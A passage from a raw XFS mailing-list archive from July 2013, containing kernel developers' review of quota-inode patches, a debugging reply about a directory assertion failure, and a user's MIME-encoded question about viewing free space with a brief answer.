(XFS_QMOPT_PQUOTA|XFS_QMOPT_GQUOTA))) { > > + xfs_ino_t ino = NULLFSINO; > > + > > + if ((flags & XFS_QMOPT_PQUOTA) && > > + (mp->m_sb.sb_gquotino != NULLFSINO)) { > > + ino = mp->m_sb.sb_gquotino; > > + ASSERT(mp->m_sb.sb_pquotino == NULLFSINO); > > + } else if ((flags & XFS_QMOPT_GQUOTA) && > > + (mp->m_sb.sb_pquotino != NULLFSINO)) { > > + ino = mp->m_sb.sb_pquotino; > > + ASSERT(mp->m_sb.sb_gquotino == NULLFSINO); > > + } > > + if (ino != NULLFSINO) { > > + error = xfs_iget(mp, NULL, ino, 0, 0, ip); > > + if (error) > > + return error; > > + mp->m_sb.sb_gquotino = NULLFSINO; > > + mp->m_sb.sb_pquotino = NULLFSINO; > > + } > > + } > > Looks like this is a new addition. I'm not completely clear on why you > needed to add it. Maybe if the user had switched from using project > quotas to group quotas there would be an old inode left out there from > the project quotas? Is that why you added this? If so, wouldn't you Yes. that is correct. > want to truncate the old contents away before using it? Yikes, now I realize it is needed. Was just maintaining the earlier behavior (reuse the inode and nothing more), and did not realize truncate was missing. > > > + > > tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QINOCREATE); > > if ((error = xfs_trans_reserve(tp, > > XFS_QM_QINOCREATE_SPACE_RES(mp), > > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > > index e4f8b2d..8f4b8bc 100644 > > --- a/fs/xfs/xfs_qm_syscalls.c > > +++ b/fs/xfs/xfs_qm_syscalls.c > > @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( > > > > if (flags & XFS_DQ_USER) > > error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); > > - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) > > + if (flags & XFS_DQ_GROUP) > > error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); > > + if (flags & XFS_DQ_PROJ) > > + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); > > > > return error ? error : error2; > > } > > @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( > > struct xfs_quotainfo *q = mp->m_quotainfo; > > struct xfs_inode *uip = NULL; > > struct xfs_inode *gip = NULL; > > + struct xfs_inode *pip = NULL; > > bool tempuqip = false; > > bool tempgqip = false; > > + bool temppqip = false; > > > > memset(out, 0, sizeof(fs_quota_stat_t)); > > > > @@ -424,6 +428,12 @@ xfs_qm_scall_getqstat( > > out->qs_gquota.qfs_ino = NULLFSINO; > > return (0); > > } > > + > > + /* Q_XGETQSTAT doesn't have room for both group and project quotas */ > > + if ((mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) == > > + (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) > > + return -EINVAL; > > + > > Lets keep the rest of the crew in the loop with what we do on the > quotactls. > > On our call, I found myself in agreement that the idea of returning > -EINVAL in the old interface when user, group, and project quotas are > turned on simultaneously would be ok. But today I'm not so sure. > Classic bpm waffling... ;) :) > > The quota rpm is separate from xfsprogs and could be much older; I think > that there are those who will consider returning EINVAL here to be an > API breakage. > > Maybe there are other options? > - A sysctl to control which quota you get through the old group > interface, when all three are turned on. this would be changing the existing API, wouldn't it ? > - Only report user and qroup quotas through the old interface, even when > all three are turned on. > > Probably the old interface should still work in some fashion with a > newer filesystem, but there don't seem to be many wonderful solutions. > > Anyway, I'd like to have Dave's reviewed-by and Jan's ack at a minimum > before pulling in these -EINVAL bits. If this really is ok, lets have > everybodys sig to make it official. I understand. > > Thanks, > Ben > From david@fromorbit.com Fri Jul 12 21:00:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2067C7F37 for ; Fri, 12 Jul 2013 21:00:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6F6E304039 for ; Fri, 12 Jul 2013 19:00:36 -0700 (PDT) X-ASG-Debug-ID: 1373680834-04bdf0233eeefaf0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Bqh69ufYKQyCELqz for ; Fri, 12 Jul 2013 19:00:35 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsPAL+z4FF5LK/r/2dsb2JhbABagwa9LoEihAcEAYENF3SCIwEBBTocMwgDGAkaCw8FJQMhARKIDrcTFo4wgSSDdwOXW4ojhyuBWYFLKg Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Jul 2013 11:30:34 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uxp8Q-0005dG-PG; Sat, 13 Jul 2013 12:00:30 +1000 Date: Sat, 13 Jul 2013 12:00:30 +1000 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130713020030.GG3438@dastard> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 References: <20130712023930.GA6473@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130712023930.GA6473@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1373680834 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 10:39:30PM -0400, Dave Jones wrote: > Just saw this during boot after an unclean shutdown. It hung afterwards. > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 .... > [ 97.173730] [] xfs_dir2_sf_addname+0x43/0x760 [xfs] > [ 97.173743] [] xfs_dir_createname+0x15c/0x1b0 [xfs] > [ 97.173754] [] xfs_create+0x4cc/0x710 [xfs] > [ 97.173764] [] xfs_vn_mknod+0x9a/0x1c0 [xfs] > [ 97.173773] [] xfs_vn_create+0x13/0x20 [xfs] > [ 97.173776] [] vfs_create+0x9d/0x100 > [ 97.173778] [] do_last+0x925/0xe00 > [ 97.173780] [] path_openat+0xbe/0x6f0 > [ 97.173783] [] ? local_clock+0x3f/0x50 > [ 97.173785] [] ? __alloc_fd+0xaf/0x200 > [ 97.173787] [] do_filp_open+0x3a/0x90 > [ 97.173789] [] ? __alloc_fd+0xaf/0x200 > [ 97.173790] [] do_sys_open+0x10b/0x200 > [ 97.173792] [] ? syscall_trace_enter+0x18/0x290 > [ 97.173794] [] SyS_open+0x1e/0x20 > > This trace repeated a few times, then the same assertion was triggered from sys_renameat. That's rather curious. What this means is that there is either an EIO or EEXIST error being returned from xfs_dir2_sf_lookup() when a we're about to add the new entry. There are two things here - EIO can only be returned if a shutdown has occurred - are there any signs of a shutdown in the logs? If there is a shutdown in progress, then this is just unlucky to shutdown with an inode in an inconsistent state in memory that triggers this validity check failure. And EEXIST means that the initial lookup of the name during the open failed to find the entry we are now trying to create. i.e. the initial path walk failed to do the correct lookup on the directory, and so never got down to xfs_dir2_sf_lookup() to find the directory entry (perhaps a problem with a cached negative dentry?). Hence it was decided during the open(O_CREATE) call that the directory entry needed to be created, we get down to XFS to create it, and then get EEXIST because the name already exists... So, it's not clear what has caused this yet. Is it reproducable? If would be good to get a trace of lookup vs addname events from XFS, too (i.e. all the xfs_dir* and xfs_da* events) so we can see if the correct lookups were done prior to the failing addname operation... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 12 21:13:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7EF9B7F37 for ; Fri, 12 Jul 2013 21:13:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A204304039 for ; Fri, 12 Jul 2013 19:13:53 -0700 (PDT) X-ASG-Debug-ID: 1373681631-04cb6c2a41c250a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 308dm10AI8MAtYHI for ; Fri, 12 Jul 2013 19:13:51 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYPAP624FF5LK/r/2dsb2JhbABagwa9LoUpBAGBDRd0giMBAQUnExwjEAgDDgoJJQ8FJQMhE4gOtxIWjh0TgR0Hg3cDl1uRToMkKoEt Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Jul 2013 11:43:50 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxpLK-0005eX-1K; Sat, 13 Jul 2013 12:13:50 +1000 Date: Sat, 13 Jul 2013 12:13:50 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Message-ID: <20130713021349.GH3438@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO References: <1373593665.20769.10.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373593665.20769.10.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1373681631 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136601 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > does for the other internal inodes. This leads to check for two > values (0 and NULLFSINO) to make sure if a quota inode is > valid. > > Solve that problem by initializing the values to NULLFSINO > if they are 0. > > Note that these values are not written back to on-disk > superblock unless some quota is enabled on the filesystem. > > Signed-off-by: Chandra Seetharaman > --- > fs/xfs/xfs_mount.c | 12 ++++++++++++ > 1 files changed, 12 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2b0ba35..8b95933 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -572,6 +572,18 @@ out_unwind: > static void > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > { > + /* > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > + * which leads to two values for a quota inode to be invalid: > + * 0 and NULLFSINO. Fix it. > + */ > + if (sbp->sb_uquotino == 0) > + sbp->sb_uquotino = NULLFSINO; > + if (sbp->sb_gquotino == 0) > + sbp->sb_gquotino = NULLFSINO; > + if (sbp->sb_pquotino == 0) > + sbp->sb_pquotino = NULLFSINO; There coment needs to point out that this is changing the in-memory superblock value right here, so we don't need to make changing sb_pquotino dependent on the superblock having support for this feature. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 12 21:17:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5AB8C7F37 for ; Fri, 12 Jul 2013 21:17:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 363C98F8035 for ; Fri, 12 Jul 2013 19:17:51 -0700 (PDT) X-ASG-Debug-ID: 1373681869-04cb6c2a46c25840001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id CHbBSvqmlk8oCbfD for ; Fri, 12 Jul 2013 19:17:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYPAGu44FF5LK/r/2dsb2JhbABagwa9LoUpBAGBDhd0giMBAQUnExwjEAgDDgoJJQ8FJQMhE4gOtxEWjh0TgR0Hg3cDl1uRToMkKoEt Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Jul 2013 11:47:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxpP8-0005f7-Li; Sat, 13 Jul 2013 12:17:46 +1000 Date: Sat, 13 Jul 2013 12:17:46 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: Ben Myers , XFS mailing list , Steven Whitehouse , adas@redhat.com, Jan Kara Subject: Re: [PATCH] xfs: Start using pquotaino from the superblock. Message-ID: <20130713021746.GI3438@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Start using pquotaino from the superblock. References: <1373593707.20769.11.camel@chandra-dt.ibm.com> <20130712183030.GE20932@sgi.com> <1373661147.20769.25.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373661147.20769.25.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1373681869 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136603 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 12, 2013 at 03:32:27PM -0500, Chandra Seetharaman wrote: > On Fri, 2013-07-12 at 13:30 -0500, Ben Myers wrote: > > Hey Chandra, > > > > > > > @@ -591,6 +599,19 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > > > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > > > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > > > + > > > + if ((sbp->sb_qflags & XFS_PQUOTA_ACCT) && > > > + (sbp->sb_gquotino != NULLFSINO)) { > > > > If project quota accounting bit is set in the super block > > and > > the group quot ino is not nullfsino.. > > > > That's weird. I would have expected to be able to assume that sb_gquotino is > > not NULLFSINO if project quota accounting is on. Why was the check necessary? > > Thinking now, I should not have added the second part. > (sbp->sb_qflags & XFS_PQUOTA_ACCT) should be sufficient. > > > > > > + /* > > > + * On disk superblock only has sb_gquotino, and incore > > > + * superblock has both sb_gquotino and sb_pquotino. > > > + * But, only one of them is supported at any point of time. > > > + * So, if PQUOTA is set in disk superblock, copy over > > > + * sb_gquotino to sb_pquotino. > > > + */ > > > + sbp->sb_pquotino = sbp->sb_gquotino; > > > + sbp->sb_gquotino = NULLFSINO; > > > + } > > > } > > > > > > void > > > > > > > > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > > > index d320794..1e2361d 100644 > > > --- a/fs/xfs/xfs_qm.c > > > +++ b/fs/xfs/xfs_qm.c > > > @@ -834,6 +834,36 @@ xfs_qm_qino_alloc( > > > int error; > > > int committed; > > > > > > + *ip = NULL; > > > + /* > > > + * With superblock that doesn't have separate pquotino, we > > > + * share an inode between gquota and pquota. If the on-disk > > > + * superblock has GQUOTA and the filesystem is now mounted > > > + * with PQUOTA, just use sb_gquotino for sb_pquotino and > > > + * vice-versa. > > > + */ > > > + if (!xfs_sb_version_has_pquotino(&mp->m_sb) && > > > + (flags & (XFS_QMOPT_PQUOTA|XFS_QMOPT_GQUOTA))) { > > > + xfs_ino_t ino = NULLFSINO; > > > + > > > + if ((flags & XFS_QMOPT_PQUOTA) && > > > + (mp->m_sb.sb_gquotino != NULLFSINO)) { > > > + ino = mp->m_sb.sb_gquotino; > > > + ASSERT(mp->m_sb.sb_pquotino == NULLFSINO); > > > + } else if ((flags & XFS_QMOPT_GQUOTA) && > > > + (mp->m_sb.sb_pquotino != NULLFSINO)) { > > > + ino = mp->m_sb.sb_pquotino; > > > + ASSERT(mp->m_sb.sb_gquotino == NULLFSINO); > > > + } > > > + if (ino != NULLFSINO) { > > > + error = xfs_iget(mp, NULL, ino, 0, 0, ip); > > > + if (error) > > > + return error; > > > + mp->m_sb.sb_gquotino = NULLFSINO; > > > + mp->m_sb.sb_pquotino = NULLFSINO; > > > + } > > > + } > > > > Looks like this is a new addition. I'm not completely clear on why you > > needed to add it. Maybe if the user had switched from using project > > quotas to group quotas there would be an old inode left out there from > > the project quotas? Is that why you added this? If so, wouldn't you > > Yes. that is correct. > > want to truncate the old contents away before using it? > > Yikes, now I realize it is needed. Was just maintaining the earlier > behavior (reuse the inode and nothing more), and did not realize > truncate was missing. It's not needed - the current code doesn't do a truncation when switching from group to project and vice versa. quotacheck already handles it - it zeros the existing dquots in the quota file first before recalculating everything, so there is no problems with "stale" contents being used whent eh swap occurs. Cheers, Dave. -- Dave Chinner david@fromorbit.com From ajh0418@naver.com Sat Jul 13 01:29:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.4 required=5.0 tests=HTML_IMAGE_ONLY_12, HTML_MESSAGE,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 72D297F37 for ; Sat, 13 Jul 2013 01:29:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F4162AC003 for ; Fri, 12 Jul 2013 23:29:16 -0700 (PDT) X-ASG-Debug-ID: 1373696953-04bdf0233cefe2a0001-NocioJ Received: from tmailsend35.nm.naver.com (tmailsend35.nm.naver.com [114.111.47.107]) by cuda.sgi.com with ESMTP id LxJAKYm2vupOP2xV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 12 Jul 2013 23:29:14 -0700 (PDT) X-Barracuda-Envelope-From: ajh0418@naver.com X-Barracuda-Apparent-Source-IP: 114.111.47.107 Received: (qmail 32227 invoked by uid 100); 13 Jul 2013 06:29:13 -0000 Received: from 61.247.195.148 (HELO tweb12.nm.nhnsystem.com) (61.247.195.148) by tmailsend35.nm.naver.com with SMTP;13 Jul 2013 06:29:13 -0000 Date: Sat, 13 Jul 2013 15:29:13 +0900 (KST) From: =?UTF-8?B?7JWI7J6s7ZiV?= Reply-To: =?UTF-8?B?7JWI7J6s7ZiV?= To: xfs@oss.sgi.com Message-ID: Subject: =?UTF-8?B?SGksIEknbSBpbnRlcmV0ZWQgaW4gWEZTIGZp?= =?UTF-8?B?bGVzeXN0ZW0uLiBpIGhhdmUgYSBxdWVzdGlvbg==?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?B?SGksIEknbSBpbnRlcmV0ZWQgaW4gWEZTIGZp?= =?UTF-8?B?bGVzeXN0ZW0uLiBpIGhhdmUgYSBxdWVzdGlvbg==?= Content-Type: multipart/alternative; boundary="----=_Part_101217_1992334493.1373696953070" Importance: normal X-Priority: 3 (Normal) X-Barracuda-Connect: tmailsend35.nm.naver.com[114.111.47.107] X-Barracuda-Start-Time: 1373696954 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.63 X-Barracuda-Spam-Status: No, SCORE=1.63 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_12, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.63 HTML_IMAGE_ONLY_12 BODY: HTML: images with 800-1200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_101217_1992334493.1373696953070 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 SGVsbG8sCiAKYXQgZmlyc3QsIEkgYXBvbG9naXplIG15IGJyb2tlbiBlbmdsaXNoLgogCkknbSBp bnRlcmVzdGVkIGluIHlvdXIgZmlsZXN5c3RlbSBYRlMuCiAKYW5kIEkgaW5zdGFsbGVkIGFuZCB1 c2VkIFhGU3Byb2dzLgogCkkgd2FudCB0byBzZWUgZnJlZSBzcGFjZSBibG9ja3Mgb3Igbm9uZS1h bGxvY2F0aW9uIGJsb2Nrcy4gSSBjYW4ndCBmaW5kIHByb2dyYW0gaW4gWEZTcHJvZ3MgcGFja2Fn ZS4gCiAKSG93IGZpbmQgdGhlIGZyZWUgc3BhY2Ugb2Ygbm9uZS1hbGxvY2F0aW9uIGJsb2NrcyBp biBYRlMgZmlsZXN5c3RlbT8KIAp0aGFuayByZWFkIG15IG1haWwuCg== ------=_Part_101217_1992334493.1373696953070 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 PGRpdiBzdHlsZT0iZm9udC1zaXplOjEwcHQ7IGZvbnQtZmFtaWx5Okd1bGltOyI+PHA+SGVsbG8s PC9wPjxwIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij4mbmJzcDs8L3A+PHAgc3R5bGU9ImZvbnQt c2l6ZTogMTBwdDsiPmF0IGZpcnN0LCBJIGFwb2xvZ2l6ZSBteSBicm9rZW4gZW5nbGlzaC48L3A+ PHAgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsiPiZuYnNwOzwvcD48cCBzdHlsZT0iZm9udC1zaXpl OiAxMHB0OyI+SSdtIGludGVyZXN0ZWQgaW4geW91ciBmaWxlc3lzdGVtIFhGUy48L3A+PHAgc3R5 bGU9ImZvbnQtc2l6ZTogMTBwdDsiPiZuYnNwOzwvcD48cCBzdHlsZT0iZm9udC1zaXplOiAxMHB0 OyI+YW5kIEkgaW5zdGFsbGVkIGFuZCB1c2VkIFhGU3Byb2dzLjwvcD48cCBzdHlsZT0iZm9udC1z aXplOiAxMHB0OyI+Jm5ic3A7PC9wPjxwIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij5JIHdhbnQg dG8gc2VlIGZyZWUgc3BhY2UgYmxvY2tzIG9yIG5vbmUtYWxsb2NhdGlvbiBibG9ja3MuIEkgY2Fu J3QgZmluZCBwcm9ncmFtIGluIFhGU3Byb2dzIHBhY2thZ2UuIDwvcD48cCBzdHlsZT0iZm9udC1z aXplOiAxMHB0OyI+Jm5ic3A7PC9wPjxwIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij5Ib3cgZmlu ZCB0aGUgZnJlZSBzcGFjZSBvZiBub25lLWFsbG9jYXRpb24gYmxvY2tzIGluIFhGUyBmaWxlc3lz dGVtPzwvcD48cCBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyI+Jm5ic3A7PC9wPjxwIHN0eWxlPSJm b250LXNpemU6IDEwcHQ7Ij50aGFuayByZWFkIG15IG1haWwuPC9wPjwvZGl2Pgo8dGFibGUgc3R5 bGU9ImRpc3BsYXk6bm9uZSI+PHRyPjx0ZD48aW1nIHNyYz0iaHR0cDovL21haWwubmF2ZXIuY29t L3JlYWRSZWNlaXB0L25vdGlmeS8/aW1nPVVaYndGQUljMTRKdkZyazRoQW4lMkZLNGtTSzYzQ0Zv cDBGbzNDS3hrU3BBS1hwNFVaS3p1ZEZyS3JwRUlkJTJCcmtTS3hVNVc0ZDVXNEM1YlgwcSUyQnpr Ujc0RlRXeCUyRnNEenBxdHplcWJabHFwcnY1TXJlUi5naWYiIGJvcmRlcj0iMCI+PC90ZD48L3Ry PjwvdGFibGU+ ------=_Part_101217_1992334493.1373696953070-- From xfs@tlinx.org Sat Jul 13 02:55:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E3717F37 for ; Sat, 13 Jul 2013 02:55:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 428288F8035 for ; Sat, 13 Jul 2013 00:55:29 -0700 (PDT) X-ASG-Debug-ID: 1373702124-04cbb0468eee0020001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id tV6lx7DToGGKhUGO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 13 Jul 2013 00:55:27 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6D7tBCO021047; Sat, 13 Jul 2013 00:55:13 -0700 Message-ID: <51E107DF.2000307@tlinx.org> Date: Sat, 13 Jul 2013 00:55:11 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: 안재형 CC: xfs@oss.sgi.com Subject: Re: Hi, I'm intereted in XFS filesystem.. i have a question References: X-ASG-Orig-Subj: Re: Hi, I'm intereted in XFS filesystem.. i have a question In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1373702127 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 안재형 wrote: > I want to see free space blocks or none-allocation blocks. I can't find > program in XFSprogs package. --- You should be able to use the standard linux utils for those -- xfsprogs are only for things that are xfs specific, but "df" tells you free space & used. The "du" command will showyou how many blocks are really used in a block. ... etc. ' That's a benefit of the OS kernel. If you want more technical details, you can try the xfs tool "xfs_info with -o,ro. That shows you # blocks total. From markus@trippelsdorf.de Sat Jul 13 04:05:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com 